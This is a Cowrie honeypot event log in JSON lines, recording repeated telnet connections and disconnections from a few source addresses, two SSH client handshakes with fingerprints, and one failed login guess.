{"eventid":"cowrie.session.closed","duration":32.05728483200073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:15.068869Z","src_ip":"23.111.140.22","session":"0c7434a7d038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37586,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe688aba8c08","protocol":"telnet","message":"New connection: 23.111.140.22:37586 (10.17.0.5:23) [session: fe688aba8c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:15.209238Z"}
{"eventid":"cowrie.session.closed","duration":52.033427238464355,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:15.237767Z","src_ip":"174.138.46.234","session":"fb1b6a7b22d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631274938583374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:15.358750Z","src_ip":"23.111.140.22","session":"0ca9b7ef8115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38184,"dst_ip":"10.17.0.5","dst_port":23,"session":"f51e0517a13d","protocol":"telnet","message":"New connection: 23.111.140.22:38184 (10.17.0.5:23) [session: f51e0517a13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:15.410919Z"}
{"eventid":"cowrie.session.closed","duration":31.42910671234131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:17.191469Z","src_ip":"23.111.140.22","session":"8d4fa9f96bd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"53417b859d1b","protocol":"telnet","message":"New connection: 23.111.140.22:45120 (10.17.0.5:23) [session: 53417b859d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:17.814546Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38456,"dst_ip":"10.17.0.5","dst_port":23,"session":"aecf5e55189a","protocol":"telnet","message":"New connection: 23.111.140.22:38456 (10.17.0.5:23) [session: aecf5e55189a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:18.527638Z"}
{"eventid":"cowrie.session.closed","duration":32.035048961639404,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:18.533281Z","src_ip":"23.111.140.22","session":"0ec741fa41cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"df98534ff26b","protocol":"telnet","message":"New connection: 23.111.140.22:46060 (10.17.0.5:23) [session: df98534ff26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:19.095187Z"}
{"eventid":"cowrie.session.closed","duration":31.48974084854126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:19.133940Z","src_ip":"23.111.140.22","session":"dfc2408d82f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.572157621383667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:19.644908Z","src_ip":"23.111.140.22","session":"16e58c367eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50846,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc9004ef504e","protocol":"telnet","message":"New connection: 23.111.140.22:50846 (10.17.0.5:23) [session: dc9004ef504e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:19.756356Z"}
{"eventid":"cowrie.session.closed","duration":43.855010986328125,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:20.025998Z","src_ip":"23.111.140.22","session":"d46714e4e92d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.829728364944458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:20.207924Z","src_ip":"23.111.140.22","session":"934948cd8a48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51530,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8323d24ad4b","protocol":"telnet","message":"New connection: 23.111.140.22:51530 (10.17.0.5:23) [session: d8323d24ad4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:20.994524Z"}
{"eventid":"cowrie.session.closed","duration":31.28542923927307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.005651Z","src_ip":"23.111.140.22","session":"d540b31287f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55328,"dst_ip":"10.17.0.5","dst_port":23,"session":"0920b7fdf70d","protocol":"telnet","message":"New connection: 23.111.140.22:55328 (10.17.0.5:23) [session: 0920b7fdf70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.326389Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f397daa5e9","protocol":"telnet","message":"New connection: 23.111.140.22:55372 (10.17.0.5:23) [session: f4f397daa5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.353161Z"}
{"eventid":"cowrie.session.closed","duration":33.153096437454224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.545597Z","src_ip":"23.111.140.22","session":"c1116f5f61b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53124,"dst_ip":"10.17.0.5","dst_port":23,"session":"df83decf6ee2","protocol":"telnet","message":"New connection: 23.111.140.22:53124 (10.17.0.5:23) [session: df83decf6ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.577164Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56608,"dst_ip":"10.17.0.5","dst_port":23,"session":"a94cb9eb0887","protocol":"telnet","message":"New connection: 23.111.140.22:56608 (10.17.0.5:23) [session: a94cb9eb0887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.780411Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54556,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c7465e8603a","protocol":"telnet","message":"New connection: 174.138.46.234:54556 (159.203.135.109:23) [session: 0c7465e8603a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:21.831113Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54908,"dst_ip":"159.203.135.109","dst_port":23,"session":"62270ecd5f3e","protocol":"telnet","message":"New connection: 174.138.46.234:54908 (159.203.135.109:23) [session: 62270ecd5f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:22.135084Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57834,"dst_ip":"10.17.0.5","dst_port":23,"session":"b296e566b74c","protocol":"telnet","message":"New connection: 23.111.140.22:57834 (10.17.0.5:23) [session: b296e566b74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:22.198813Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55768,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d00456d25d7","protocol":"telnet","message":"New connection: 23.111.140.22:55768 (10.17.0.5:23) [session: 9d00456d25d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:22.530249Z"}
{"eventid":"cowrie.session.closed","duration":30.878317832946777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:22.605557Z","src_ip":"23.111.140.22","session":"438962dce885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34320,"dst_ip":"10.17.0.5","dst_port":23,"session":"1253548e8ef9","protocol":"telnet","message":"New connection: 23.111.140.22:34320 (10.17.0.5:23) [session: 1253548e8ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:23.861755Z"}
{"eventid":"cowrie.session.closed","duration":47.07478952407837,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:24.668933Z","src_ip":"23.111.140.22","session":"e493d48fb047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37422,"dst_ip":"10.17.0.5","dst_port":23,"session":"e672fba3f2b0","protocol":"telnet","message":"New connection: 23.111.140.22:37422 (10.17.0.5:23) [session: e672fba3f2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:24.926721Z"}
{"eventid":"cowrie.session.closed","duration":31.792774438858032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:25.169095Z","src_ip":"23.111.140.22","session":"05202d8fd31c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.616624355316162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:25.388646Z","src_ip":"23.111.140.22","session":"ffdfd8f6fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42260,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95b0cd7c30d","protocol":"telnet","message":"New connection: 23.111.140.22:42260 (10.17.0.5:23) [session: d95b0cd7c30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:26.664029Z"}
{"eventid":"cowrie.session.closed","duration":30.779332876205444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:27.297307Z","src_ip":"23.111.140.22","session":"ce5a4fbaa98b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b825400117c","protocol":"telnet","message":"New connection: 23.111.140.22:45160 (10.17.0.5:23) [session: 3b825400117c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:27.708518Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43320,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a1fe381e6a","protocol":"telnet","message":"New connection: 23.111.140.22:43320 (10.17.0.5:23) [session: 50a1fe381e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:27.987124Z"}
{"eventid":"cowrie.session.closed","duration":0.006231546401977539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:27.993206Z","src_ip":"23.111.140.22","session":"50a1fe381e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9391608238220215,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:28.074118Z","src_ip":"174.138.46.234","session":"62270ecd5f3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66772437095642,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:28.930340Z","src_ip":"23.111.140.22","session":"094dbcb5123e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49070,"dst_ip":"10.17.0.5","dst_port":23,"session":"64912710f0b5","protocol":"telnet","message":"New connection: 23.111.140.22:49070 (10.17.0.5:23) [session: 64912710f0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:29.035000Z"}
{"eventid":"cowrie.session.closed","duration":32.44641470909119,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:29.760382Z","src_ip":"23.111.140.22","session":"a853f5578917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51760,"dst_ip":"10.17.0.5","dst_port":23,"session":"77626b5115db","protocol":"telnet","message":"New connection: 23.111.140.22:51760 (10.17.0.5:23) [session: 77626b5115db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:29.974778Z"}
{"eventid":"cowrie.session.closed","duration":31.23735213279724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:30.152586Z","src_ip":"23.111.140.22","session":"9673cc96b1f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44154,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae317142386","protocol":"telnet","message":"New connection: 23.111.140.22:44154 (10.17.0.5:23) [session: eae317142386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:30.368227Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55329,"dst_ip":"10.17.0.5","dst_port":23,"session":"d09b4e0aa44b","protocol":"telnet","message":"New connection: 23.111.140.22:55329 (10.17.0.5:23) [session: d09b4e0aa44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:31.236054Z"}
{"eventid":"cowrie.session.closed","duration":32.360947608947754,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:32.029938Z","src_ip":"23.111.140.22","session":"69d1f0baf1bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8d4b35a005","protocol":"telnet","message":"New connection: 23.111.140.22:58222 (10.17.0.5:23) [session: 5d8d4b35a005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:32.129625Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"deed0c53c8f3","protocol":"telnet","message":"New connection: 23.111.140.22:55656 (10.17.0.5:23) [session: deed0c53c8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:32.354184Z"}
{"eventid":"cowrie.session.closed","duration":31.312381267547607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:32.374640Z","src_ip":"23.111.140.22","session":"1dbff6bafc51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.757455110549927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:33.136070Z","src_ip":"23.111.140.22","session":"1d0dbce3afad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026719331741333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:33.377559Z","src_ip":"23.111.140.22","session":"d33c752a90e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66661715507507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:33.416996Z","src_ip":"23.111.140.22","session":"73432e05bfac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38744,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe040e6155f1","protocol":"telnet","message":"New connection: 23.111.140.22:38744 (10.17.0.5:23) [session: fe040e6155f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:35.256481Z"}
{"eventid":"cowrie.session.closed","duration":33.26908755302429,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:36.085052Z","src_ip":"23.111.140.22","session":"d7ab0dd6ef6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61440944671631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:36.299364Z","src_ip":"23.111.140.22","session":"8a345ca01b84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.52570462226868,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:36.342949Z","src_ip":"174.138.46.234","session":"d982599c7a53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41916,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee4ed1a5211","protocol":"telnet","message":"New connection: 23.111.140.22:41916 (10.17.0.5:23) [session: 2ee4ed1a5211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:36.353833Z"}
{"eventid":"cowrie.session.closed","duration":47.4126501083374,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:36.450081Z","src_ip":"174.138.46.234","session":"8d2d9e61e6e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79641580581665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:37.524966Z","src_ip":"23.111.140.22","session":"1a71bda02cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":35984,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6db6c87765","protocol":"ssh","message":"New connection: 135.235.138.43:35984 (10.17.0.5:22) [session: 1d6db6c87765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:37.755133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:37.760121Z","src_ip":"135.235.138.43","session":"1d6db6c87765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.347150325775146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:37.847288Z","src_ip":"23.111.140.22","session":"ad25e1ae601b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6379075050354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:37.871977Z","src_ip":"23.111.140.22","session":"5c81d16a47c4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:37.953832Z","src_ip":"135.235.138.43","session":"1d6db6c87765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"qwerty","message":"login attempt [ec2-user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:38.759694Z","src_ip":"135.235.138.43","session":"1d6db6c87765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49884,"dst_ip":"10.17.0.5","dst_port":23,"session":"699eb8f0e08c","protocol":"telnet","message":"New connection: 23.111.140.22:49884 (10.17.0.5:23) [session: 699eb8f0e08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:38.986776Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50130,"dst_ip":"10.17.0.5","dst_port":23,"session":"b244d0757923","protocol":"telnet","message":"New connection: 23.111.140.22:50130 (10.17.0.5:23) [session: b244d0757923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:39.044261Z"}
{"eventid":"cowrie.session.closed","duration":35.7559871673584,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:39.194550Z","src_ip":"23.111.140.22","session":"a67723a72713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1264443397522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:39.842466Z","src_ip":"23.111.140.22","session":"3afb250dc9e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.635458946228027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:39.915196Z","src_ip":"23.111.140.22","session":"7b387e632fed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:39.956315Z","src_ip":"135.235.138.43","session":"1d6db6c87765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11417555809021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:39.969595Z","src_ip":"23.111.140.22","session":"ee341b57038e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.506670236587524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:40.136966Z","src_ip":"23.111.140.22","session":"6008e062bd94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53702,"dst_ip":"10.17.0.5","dst_port":23,"session":"25010f5026cf","protocol":"telnet","message":"New connection: 23.111.140.22:53702 (10.17.0.5:23) [session: 25010f5026cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:40.209725Z"}
{"eventid":"cowrie.session.closed","duration":32.755664348602295,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:40.508535Z","src_ip":"23.111.140.22","session":"47adb3af9b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.379470109939575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:40.712548Z","src_ip":"23.111.140.22","session":"ecd6ce3db5b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":40348,"dst_ip":"10.17.0.5","dst_port":22,"session":"9524a198aa90","protocol":"ssh","message":"New connection: 202.145.0.61:40348 (10.17.0.5:22) [session: 9524a198aa90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:41.296732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:41.305729Z","src_ip":"202.145.0.61","session":"9524a198aa90","protocol":"ssh"}
